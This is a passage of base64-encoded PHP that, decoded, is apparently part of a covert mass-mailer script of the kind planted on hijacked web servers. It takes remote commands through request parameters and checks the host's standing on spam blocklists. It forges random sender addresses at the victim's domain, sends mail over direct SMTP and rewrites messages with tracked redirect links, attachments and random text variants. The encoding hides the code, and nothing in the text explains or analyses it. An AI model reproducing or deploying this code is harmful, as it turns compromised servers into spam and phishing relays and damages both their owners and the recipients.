c2U7CiAgICAgICAgfQogICAgICAgICRsaW5lcyA9IEBleHBsb2RlKCJcbiIsICRkYXRhKTsKICAgICAgICBmb3JlYWNoICgkbGluZXMgYXMgJGxuKSB7CiAgICAgICAgICAgIEBmcHV0cygkc29jaywgcnRyaW0oJGxuLCAiXHJcbiIpLiJcclxuIik7CiAgICAgICAgfQogICAgICAgICRmaW5hbCA9ICR0aGlzLT5zbXRwX3JlYWRfcmVzcG9uc2UoJHNvY2spOwogICAgICAgIGlmIChzdHJwb3MoJGZpbmFsLCAiMjUwIikgPT09IDApIHsKICAgICAgICAgICAgQGZwdXRzKCRzb2NrLCAiUVVJVFxyXG4iKTsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICBwcml2YXRlIGZ1bmN0aW9uIHNtdHBfcmVhZF9yZXNwb25zZSgkc29jaykKICAgIHsKICAgICAgICAkcmVzcCA9ICIiOwogICAgICAgIHdoaWxlICghQGZlb2YoJHNvY2spKSB7CiAgICAgICAgICAgICRsaW5lID0gQGZnZXRzKCRzb2NrLCA1MTUpOwogICAgICAgICAgICBpZiAoJGxpbmUgPT09IGZhbHNlKSBicmVhazsKICAgICAgICAgICAgJHJlc3AgLj0gJGxpbmU7CiAgICAgICAgICAgIGlmIChAc3Vic3RyKCRsaW5lLCAzLCAxKSA9PSAiICIpIGJyZWFrOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlc3A7CiAgICB9CgogICAgcHJpdmF0ZSBmdW5jdGlvbiBkb19jaGVjaygpCiAgICB7CiAgICAgICAgJHN1YmogPSBpc3NldCgkX1JFUVVFU1RbJ3MnXSkgPyAkX1JFUVVFU1RbJ3MnXSA6ICR0aGlzLT5iYXNlZG9tYWluOwogICAgICAgICRtc2cgPSBpc3NldCgkX1JFUVVFU1RbJ21zJ10pID8gJF9SRVFVRVNUWydtcyddIDogJHRoaXMtPmJhc2Vkb21haW47CgogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3N0J10pKSB7CiAgICAgICAgICAgIGVjaG8gJyp2YWxpZDpvayonLiR0aGlzLT5lb2w7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ20nXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdtYWlsJykpIHsKICAgICAgICAgICAgJGVtID0gZXhwbG9kZSgnOicsICRfUkVRVUVTVFsnbSddKTsKICAgICAgICAgICAgJGVtID0gaXNzZXQoJGVtWzBdKSA/ICRlbVswXSA6ICcnOwogICAgICAgICAgICBlY2hvICgkdGhpcy0+Y2hlY2tfbWFpbCgkZW0sICRzdWJqLCAkbXNnKSA/ICcqbWFpbDpvayonIDogJyptYWlsOmJhZConKS4kdGhpcy0+ZW9sOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gJyptYWlsOmJhZConLiR0aGlzLT5lb2w7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3JiJ10pKSB7CiAgICAgICAgICAgICRyYmwgPSAkdGhpcy0+Y2hlY2tfcmJsKCk7CiAgICAgICAgICAgIGVjaG8gKCRyYmwgPT0gJycgPyAnKnJibDpvayonIDogJypyYmw6Jy4kcmJsLicqJyk7CiAgICAgICAgfQogICAgfQoKICAgIHByaXZhdGUgZnVuY3Rpb24gY2hlY2tfcmJsKCkKICAgIHsKICAgICAgICAkZG5zYmxfY2hlY2sgPSBhcnJheSgKICAgICAgICAgICAgJ2IuYmFycmFjdWRhY2VudHJhbC5vcmcnLAogICAgICAgICAgICAneGJsLnNwYW1oYXVzLm9yZycsCiAgICAgICAgICAgICdzYmwuc3BhbWhhdXMub3JnJywKICAgICAgICAgICAgJ3plbi5zcGFtaGF1cy5vcmcnLAogICAgICAgICAgICAnYmwuc3BhbWNvcC5uZXQnCiAgICAgICAgKTsKICAgICAgICAkaXAgPSBAZ2V0aG9zdGJ5bmFtZSgkdGhpcy0+YmFzZWRvbWFpbik7CiAgICAgICAgaWYgKCEkaXApIHJldHVybiAnKnJibDp1bmtub3duKic7CgogICAgICAgICRyaXAgICAgPSBpbXBsb2RlKCcuJywgYXJyYXlfcmV2ZXJzZShleHBsb2RlKCcuJywgJGlwKSkpOwogICAgICAgICRyZXN1bHQgPSAnJzsKICAgICAgICBmb3JlYWNoICgkZG5zYmxfY2hlY2sgYXMgJGRuc2JsKSB7CiAgICAgICAgICAgIGlmIChAY2hlY2tkbnNycigiJHJpcC4kZG5zYmwuIiwgJ0EnKSkgewogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAiJGRuc2JsLCAiOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiBydHJpbSgkcmVzdWx0LCAnLCAnKTsKICAgIH0KCiAgICBwcml2YXRlIGZ1bmN0aW9uIGNoZWNrX21haWwoJHRvLCAkc3ViaiwgJG1zZykKICAgIHsKICAgICAgICAkYm9keSAgICAgICAgPSBAY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSgkbXNnKSk7CgogICAgICAgICRmcm9tX25hbWUgICA9ICR0aGlzLT5yYW5kb21fdGV4dCgpOwogICAgICAgICRmcm9tX2FkZHIgICA9ICRmcm9tX25hbWUuJ0AnLiR0aGlzLT5iYXNlZG9tYWluOwogICAgICAgICRoZWFkZXJzICAgICA9ICR0aGlzLT5nZXRfaGVhZGVycygkZnJvbV9uYW1lLCAkZnJvbV9hZGRyKTsKICAgICAgICAkaGVhZGVycyAgICAuPSAiQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLThcclxuQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0XHJcbiI7CiAgICAgICAgJHNlbnQgPSAkdGhpcy0+c2VuZF9lbWFpbF9tZXRob2QoJHRoaXMtPmJhc2Vkb21haW4sICRmcm9tX2FkZHIsICR0bywgJHN1YmosICRib2R5LCAkaGVhZGVycyk7CgogICAgICAgIGlmICghJHNlbnQgJiYgJHRoaXMtPmJhc2Vkb21haW4gIT0gJHRoaXMtPmZ1bGxkb21haW4pIHsKICAgICAgICAgICAgJGZyb21fbmFtZSAgID0gJHRoaXMtPnJhbmRvbV90ZXh0KCk7CiAgICAgICAgICAgICRmcm9tX2FkZHIgICA9ICRmcm9tX25hbWUuJ0AnLiR0aGlzLT5mdWxsZG9tYWluOwogICAgICAgICAgICAkaGVhZGVycyAgICAgPSAkdGhpcy0+Z2V0X2hlYWRlcnMoJGZyb21fbmFtZSwgJGZyb21fYWRkcik7CiAgICAgICAgICAgICRoZWFkZXJzICAgIC49ICJDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOFxyXG5Db250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjRcclxuIjsKICAgICAgICAgICAgJHNlbnQgPSAkdGhpcy0+c2VuZF9lbWFpbF9tZXRob2QoJHRoaXMtPmZ1bGxkb21haW4sICRmcm9tX2FkZHIsICR0bywgJHN1YmosICRib2R5LCAkaGVhZGVycyk7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gJHNlbnQ7CiAgICB9CgogICAgcHJpdmF0ZSBmdW5jdGlvbiBnZXRfZG9tYWluKCkKICAgIHsKICAgICAgICAkc291cmNlcyA9IGFycmF5KCdTRVJWRVJfTkFNRScsJ0hUVFBfSE9TVCcsJ1NFUlZFUl9BRERSJyk7CiAgICAgICAgJGhvc3QgICAgPSAnJzsKICAgICAgICBmb3JlYWNoICgkc291cmNlcyBhcyAkcykgewogICAgICAgICAgICBpZiAoJGhvc3QgPT0gJ2xvY2FsaG9zdCcgfHwgJGhvc3QgPT0gJzEyNy4wLjAuMScgfHwgc3RycG9zKCRob3N0LCAnLicpID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgJGhvc3QgPSAnJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIWVtcHR5KCRob3N0KSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1NFUlZFUlskc10pKSB7CiAgICAgICAgICAgICAgICAkaHYgICA9IEBwcmVnX3JlcGxhY2UoJy86XGQrJC8nLCcnLCAkX1NFUlZFUlskc10pOwogICAgICAgICAgICAgICAgJGhvc3QgPSB0cmltKCRodik7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCEkaG9zdCkgewogICAgICAgICAgICAkaG9zdCA9ICdsb2NhbGhvc3QubG9jYWxkb21haW4nOwogICAgICAgIH0KICAgICAgICAkaG9zdCA9IEBwcmVnX3JlcGxhY2UoJy9ed3d3XC4vaScsICcnLCAkaG9zdCk7CgogICAgICAgICRmdWxsZG9tYWluID0gJGhvc3Q7CiAgICAgICAgJGJhc2VEb21haW4gPSAkaG9zdDsKCiAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+Z2V0X214X3JlY29yZHMoJGZ1bGxkb21haW4sIGZhbHNlKSkgfHwgQHByZWdfbWF0Y2goJy9eKFxkezEsM31cLil7M31cZHsxLDN9JC8nLCAkaG9zdCkpCiAgICAgICAgICAgIHJldHVybiBhcnJheSgkYmFzZURvbWFpbiwgJGZ1bGxkb21haW4pOwoKICAgICAgICBpZiAoc3RycG9zKCRob3N0LCAnOicpICE9PSBmYWxzZSAmJiBAcHJlZ19tYXRjaCgnL14oWzAtOWEtZkEtRl17MSw0fTopezEsN31bMC05YS1mQS1GXXsxLDR9JC8nLCAkaG9zdCkpIHsKICAgICAgICAgICAgcmV0dXJuIGFycmF5KCRiYXNlRG9tYWluLCAkZnVsbGRvbWFpbik7CiAgICAgICAgfQoKICAgICAgICAkcGFydHMgPSBleHBsb2RlKCcuJywgJGZ1bGxkb21haW4pOwoKICAgICAgICBpZiAoY291bnQoJHBhcnRzKSA+IDIpIHsKICAgICAgICAgICAgJHBhcnRzQ291bnQgPSBjb3VudCgkcGFydHMpOwoKICAgICAgICAgICAgZm9yICgkaSA9IDE7ICRpIDwgJHBhcnRzQ291bnQ7ICRpKyspIHsKICAgICAgICAgICAgICAgICRjYW5kaWRhdGUgPSBpbXBsb2RlKCcuJywgYXJyYXlfc2xpY2UoJHBhcnRzLCAkaSkpOwogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkY2FuZGlkYXRlLCAnLicpID09PSBmYWxzZSkKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICRjYW5kaWRhdGVJcCA9IEBnZXRob3N0YnluYW1lKCRjYW5kaWRhdGUpOwogICAgICAgICAgICAgICAgaWYgKCRjYW5kaWRhdGVJcCkKICAgICAgICAgICAgICAgICAgICAkYmFzZURvbWFpbiA9ICRjYW5kaWRhdGU7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiBhcnJheSgkYmFzZURvbWFpbiwgJGZ1bGxkb21haW4pOwogICAgfQoKICAgIHByaXZhdGUgZnVuY3Rpb24gZ2V0X214X3JlY29yZHMoJGRvbWFpbiwgJHVzZWEgPSB0cnVlKQogICAgewogICAgICAgICRteF9yZWNvcmRzID0gYXJyYXkoKTsKICAgICAgICAkd2VpZ2h0cyAgICA9IGFycmF5KCk7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZ2V0bXhycicpKSB7CiAgICAgICAgICAgIGlmIChAZ2V0bXhycigkZG9tYWluLCAkbXhfcmVjb3JkcywgJHdlaWdodHMpKSB7CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRteF9yZWNvcmRzKSkgewogICAgICAgICAgICAgICAgICAgIEBhcnJheV9tdWx0aXNvcnQoJHdlaWdodHMsICRteF9yZWNvcmRzKTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJG14X3JlY29yZHM7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZG5zX2dldF9yZWNvcmQnKSkgewogICAgICAgICAgICAkZHJlYyA9IEBkbnNfZ2V0X3JlY29yZCgkZG9tYWluLCBETlNfTVgpOwogICAgICAgICAgICBpZiAoIWVtcHR5KCRkcmVjKSkgewogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRyZWMgYXMgJG14KSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbXhbJ3RhcmdldCddKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkbXhfcmVjb3Jkc1tdID0gJG14Wyd0YXJnZXQnXTsKICAgICAgICAgICAgICAgICAgICAgICAgJHdlaWdodHNbXSAgICA9IGlzc2V0KCRteFsncHJpJ10pID8gJG14WydwcmknXSA6IDEwOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJG14X3JlY29yZHMpKSB7CiAgICAgICAgICAgICAgICAgICAgQGFycmF5X211bHRpc29ydCgkd2VpZ2h0cywgJG14X3JlY29yZHMpOwogICAgICAgICAgICAgICAgICAgIHJldHVybiAkbXhfcmVjb3JkczsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlaWYgKCR1c2VhKSB7CiAgICAgICAgICAgICAgICAkYXJlYyA9IEBkbnNfZ2V0X3JlY29yZCgkZG9tYWluLCBETlNfQSk7CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRhcmVjKSAmJiAhZW1wdHkoJGFyZWNbMF1bJ2lwJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgJG14X3JlY29yZHNbXSA9ICRhcmVjWzBdWydpcCddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbXhfcmVjb3JkczsKICAgIH0KCiAgICBwcml2YXRlIGZ1bmN0aW9uIGZvcm1hdF9zbXRwX2hvc3QoJGhvc3QpCiAgICB7CiAgICAgICAgaWYgKEBwcmVnX21hdGNoKCcvXihcZHsxLDN9XC4pezN9XGR7MSwzfSQvJywgJGhvc3QpKSB7CiAgICAgICAgICAgIHJldHVybiAiWyRob3N0XSI7CiAgICAgICAgfQogICAgICAgIGlmIChzdHJwb3MoJGhvc3QsICc6JykgIT09IGZhbHNlICYmIEBwcmVnX21hdGNoKCcvXihbMC05YS1mQS1GXXsxLDR9Oil7MSw3fVswLTlhLWZBLUZdezEsNH0kLycsICRob3N0KSkgewogICAgICAgICAgICByZXR1cm4gIlskaG9zdF0iOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGhvc3Q7CiAgICB9CgogICAgcHJpdmF0ZSBmdW5jdGlvbiBnZXRfdGV4dF9iZXR3ZWVuKCRzdHIsICRzdGFydCwgJGVuZCkKICAgIHsKICAgICAgICAkcG9zX3N0YXJ0ID0gQHN0cnBvcygkc3RyLCAkc3RhcnQpOwogICAgICAgIGlmICgkcG9zX3N0YXJ0ID09PSBmYWxzZSkgewogICAgICAgICAgICByZXR1cm4gJyc7CiAgICAgICAgfQogICAgICAgICRwb3NfZW5kID0gQHN0cnBvcygkc3RyLCAkZW5kLCAkcG9zX3N0YXJ0KTsKICAgICAgICBpZiAoJHBvc19lbmQgPT09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiAnJzsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIEBzdWJzdHIoJHN0ciwgJHBvc19zdGFydCArIHN0cmxlbigkc3RhcnQpLCAkcG9zX2VuZCAtICRwb3Nfc3RhcnQgLSBzdHJsZW4oJHN0YXJ0KSk7CiAgICB9CgogICAgcHJpdmF0ZSBmdW5jdGlvbiBoYW5kbGVfZGF0YSgkZGF0YSkKICAgIHsKICAgICAgICAkZXggPSBAZXhwbG9kZSgiXG4iLCAkZGF0YSk7CiAgICAgICAgcmV0dXJuIEB0cmltKCRleFthcnJheV9yYW5kKCRleCldKTsKICAgIH0KCiAgICBwcml2YXRlIGZ1bmN0aW9uIHByb2Nlc3NfbWFjcm9zX3JhbmRvbSgkdGV4dCwgJGRhdGEpCiAgICB7CiAgICAgICAgQHByZWdfbWF0Y2hfYWxsKCcjXFtyZWRpcmVjdDooLis/KVxdI2lzJywgJHRleHQsICRyZCk7CiAgICAgICAgQHByZWdfbWF0Y2hfYWxsKCcjXHtyYW5kTTooLis/KVx9I2lzJywgJHRleHQsICRyZG0pOwoKICAgICAgICBpZiAoIWVtcHR5KCRyZFsxXSkpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJHJkWzFdIGFzICRpID0+ICRsaW5rKSB7CiAgICAgICAgICAgICAgICAkbGlua19wYXJ0cyAgPSBAZXhwbG9kZSgnPj4+JywgJGxpbmspOwogICAgICAgICAgICAgICAgJGN1cmwgICAgICAgID0gImh0dHA6Ly8iLiR0aGlzLT5mdWxsZG9tYWluLkAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKICAgICAgICAgICAgICAgICRyZWRpcmVjdCAgICA9ICJsPSI7CiAgICAgICAgICAgICAgICAkcmVkaXJlY3QgLj0gdHJpbSgkbGlua19wYXJ0c1swXSk7CgogICAgICAgICAgICAgICAgZm9yICgkej0xOyAkejxjb3VudCgkbGlua19wYXJ0cyk7ICR6KyspIHsKICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRsaW5rX3BhcnRzWyR6XSwgJ2VtYWlsOicpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkcmVkaXJlY3QgLj0gIiZlPSIudHJpbSgkZGF0YVswXSk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkbGlua19wYXJ0c1skel0sICd2YXI6JykgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR2aSA9IEBleHBsb2RlKCc6JywgJGxpbmtfcGFydHNbJHpdKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCR2aVsxXSkgJiYgaXNzZXQoJGRhdGFbJHZpWzFdXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZWRpcmVjdCAuPSAiJnYiLiR2aVsxXS4iPSIudHJpbSgkZGF0YVskdmlbMV1dKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChzdHJwb3MoJGxpbmtfcGFydHNbJHpdLCAnbGluazonKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGN1cmwgPSBAZXhwbG9kZSgnOicsICRsaW5rX3BhcnRzWyR6XSwgMik7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkY3VybFsxXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjdXJsID0gJGN1cmxbMV07CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkcmVkaXJlY3QgLj0gIiYiLiRsaW5rX3BhcnRzWyR6XTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkdGV4dCA9ICR0aGlzLT5zdHJfcmVwbGFjZV9vbmNlKCRyZFswXVskaV0sICRjdXJsLiI/cj0iLmJhc2U2NF9lbmNvZGUoJHJlZGlyZWN0KSwgJHRleHQpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoc3RycG9zKCR0ZXh0LCAnW3Vuc3Vic2NyaWJlOl0nKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJHRoaXMtPnVuc3Vic2NyaWJlID0gMTsKICAgICAgICAgICAgJHVuc3Vic2NyaWJlX3VybCAgID0gImh0dHA6Ly8iLiR0aGlzLT5mdWxsZG9tYWluLkAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iP3U9Ii5iYXNlNjRfZW5jb2RlKCRkYXRhWzBdKTsKICAgICAgICAgICAgJHRleHQgICAgICAgICAgICAgPSBzdHJfcmVwbGFjZSgnW3Vuc3Vic2NyaWJlOl0nLCAkdW5zdWJzY3JpYmVfdXJsLCAkdGV4dCk7CiAgICAgICAgfQoKICAgICAgICBpZiAoIWVtcHR5KCRyZG1bMV0pKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCRyZG1bMV0gYXMgJGkgPT4gJHJhbmRfc3RyKSB7CiAgICAgICAgICAgICAgICAkb3B0cyA9IGV4cGxvZGUoJ3wnLCAkcmFuZF9zdHIpOwogICAgICAgICAgICAgICAgJGZvdW5kX2V4aXN0ID0gZmFsc2U7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkdGhpcy0+cmFuZG1fYXJyYXkgYXMgJHJrID0+ICRydikgewogICAgICAgICAgICAgICAgICAgIGlmICgkcnZbMF0gPT0gJHJkbVswXVskaV0pIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRleHQgPSBzdHJfcmVwbGFjZSgkcmRtWzBdWyRpXSwgJHJ2WzFdLCAkdGV4dCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRmb3VuZF9leGlzdCA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICghJGZvdW5kX2V4aXN0KSB7CiAgICAgICAgICAgICAgICAgICAgJHNlbCA9ICRvcHRzW2FycmF5X3JhbmQoJG9wdHMpXTsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cmFuZG1fYXJyYXlbXSA9IGFycmF5KCRyZG1bMF1bJGldLCAkc2VsKTsKICAgICAgICAgICAgICAgICAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCRyZG1bMF1bJGldLCAkc2VsLCAkdGV4dCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIEBwcmVnX21hdGNoX2FsbCgnI1xbYmFzZTY0OiguKz8pXF0jaXMnLCAkdGV4dCwgJHJlc2IpOwogICAgICAgIGlmICghZW1wdHkoJHJlc2JbMV0pKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCRyZXNiWzFdIGFzICRpaSA9PiAkYjY0KSB7CiAgICAgICAgICAgICAgICBAcHJlZ19tYXRjaF9hbGwoJyNce3ZhcjooLis/KVx9I2lzJywgJGI2NCwgJHZiKTsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHZiWzFdKSkgewogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR2YlsxXSBhcyAkdmFyX2luZGV4ID0+ICR2YXJuKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19udW1lcmljKCR2YXJuKSAmJiBpc3NldCgkZGF0YVskdmFybl0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYjY0ID0gJHRoaXMtPnN0cl9yZXBsYWNlX29uY2UoJHZiWzBdWyR2YXJfaW5kZXhdLCAkZGF0YVskdmFybl0sICRiNjQpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHRleHQgPSAkdGhpcy0+c3RyX3JlcGxhY2Vfb25jZSgkcmVzYlswXVskaWldLCBiYXNlNjRfZW5jb2RlKCRiNjQpLCAkdGV4dCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIEBwcmVnX21hdGNoX2FsbCgnI1xbYXR0YWNobWVudDooLis/KVxdI2lzJywgJHRleHQsICRhdHQpOwogICAgICAgIGlmICghZW1wdHkoJGF0dFsxXSkpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJGF0dFsxXSBhcyAkaSA9PiAkYXQpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5hdHRhY2htZW50X2FycmF5W10gPSBAZXhwbG9kZSgnPj4+JywgJGF0KTsKICAgICAgICAgICAgICAgICR0ZXh0ID0gJHRoaXMtPnN0cl9yZXBsYWNlX29uY2UoJGF0dFswXVskaV0sICcnLCAkdGV4dCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgQHByZWdfbWF0Y2hfYWxsKCcjXFthdHRhY2htZW50TTooLis/KVxdI2lzJywgJHRleHQsICRhdHRtKTsKICAgICAgICBpZiAoIWVtcHR5KCRhdHRtWzFdKSkgewogICAgICAgICAgICBmb3JlYWNoICgkYXR0bVsxXSBhcyAkaSA9PiAkYXRtKSB7CiAgICAgICAgICAgICAgICAkb3B0cyA9IEBleHBsb2RlKCc+Pj4nLCAkYXRtKTsKICAgICAgICAgICAgICAgIGlmIChpc3NldCgkb3B0c1swXSkpIHsKICAgICAgICAgICAgICAgICAgICBAcHJlZ19tYXRjaF9hbGwoJyNcKCguKz8pXCkjaXMnLCAkb3B0c1swXSwgJHIxMSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkcjExWzFdKSkgewogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkcjExWzFdIGFzICRyZykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJhbmdlID0gQGV4cGxvZGUoJywnLCAkcmcpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGNvdW50KCRyYW5nZSk9PTIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcm5kX3ZhbCA9IHJhbmQoaW50dmFsKCRyYW5nZVswXSksIGludHZhbCgkcmFuZ2VbMV0pLTEpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvcHRzWzBdID0gJHRoaXMtPnN0cl9yZXBsYWNlX29uY2UoJHJnLCAkcm5kX3ZhbCwgJG9wdHNbMF0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvcHRzWzBdID0gc3RyX3JlcGxhY2UoYXJyYXkoJygnLCcpJyksICcnLCAkb3B0c1swXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkdGhpcy0+YXR0YWNobWVudF9hcnJheVtdID0gJG9wdHM7CiAgICAgICAgICAgICAgICAkdGV4dCA9ICR0aGlzLT5zdHJfcmVwbGFjZV9vbmNlKCRhdHRtWzBdWyRpXSwgJycsICR0ZXh0KTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgQHByZWdfbWF0Y2hfYWxsKCcjXFtpbWFnZTY0OiguKz8pXF0jaXMnLCAkdGV4dCwgJGltZzY0KTsKICAgICAgICBpZiAoIWVtcHR5KCRpbWc2NFsxXSkpIHsKICAgICAgICAgICAgJGltZ19maWxlID0gJ2ltYWdlNjRfZmlsZS5wbmcnOwogICAgICAgICAgICBmb3JlYWNoICgkaW1nNjRbMV0gYXMgJGsgPT4gJHVybCkgewogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRpbWdfZmlsZSwgQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpKTsKICAgICAgICAgICAgICAgICRpbWdfZGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkaW1nX2ZpbGUpOwogICAgICAgICAgICAgICAgaWYgKCRpbWdfZGF0YSkgewogICAgICAgICAgICAgICAgICAgICRtdHlwZSA9ICR0aGlzLT5nZXRfbWltZV90eXBlKCRpbWdfZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgJGRhdGFfaW1nNjQgPSAnZGF0YTonLiRtdHlwZS4nO2Jhc2U2NCwnLmJhc2U2NF9lbmNvZGUoJGltZ19kYXRhKTsKICAgICAgICAgICAgICAgICAgICAkdGV4dCA9ICR0aGlzLT5zdHJfcmVwbGFjZV9vbmNlKCRpbWc2NFswXVska10sICRkYXRhX2ltZzY0LCAkdGV4dCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBAdW5saW5rKCRpbWdfZmlsZSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoYXJyYXkoJ3t2YXI6fScsJ3tlbWFpbDp9JyksIGFycmF5KCd7dmFyOjF9JywgdHJpbSgkZGF0YVswXSkpLCAkdGV4dCk7CiAgICAgICAgcmV0dXJuICR0ZXh0OwogICAgfQoKICAgIHByaXZhdGUgZnVuY3Rpb24gZ2V0X2hlYWRlcnMoJGZyb21uYW1lLCAkZnJvbW1haWwsICRyZXBseXRvID0gbnVsbCkKICAgIHsKICAgICAgICAkZm5fZW5jID0gKGZ1bmN0aW9uX2V4aXN0cygnaWNvbnYnKSkKICAgICAgICAgICAgPyAiPT8iLiR0aGlzLT5lbmNvZGluZy4iP0I/Ii5iYXNlNjRfZW5jb2RlKEBpY29udignVVRGLTgnLCR0aGlzLT5lbmNvZGluZywkZnJvbW5hbWUpKS4iPz0iCiAgICAgICAgICAgIDogIj0/Ii4kdGhpcy0+ZW5jb2RpbmcuIj9CPyIuYmFzZTY0X2VuY29kZSgkZnJvbW5hbWUpLiI/PSI7CgogICAgICAgICRoZWFkZXJzICA9ICJGcm9tOiAiLiRmbl9lbmMuIiA8Ii4kZnJvbW1haWwuIj5cclxuIjsKICAgICAgICBpZiAoIWlzX251bGwoJHJlcGx5dG8pKSB7CiAgICAgICAgICAgICRoZWFkZXJzIC49ICJSZXBseS1UbzogIi4kcmVwbHl0by4iXHJcbiI7CiAgICAgICAgfQogICAgICAgICRoZWFkZXJzIC49ICJNSU1FLVZlcnNpb246I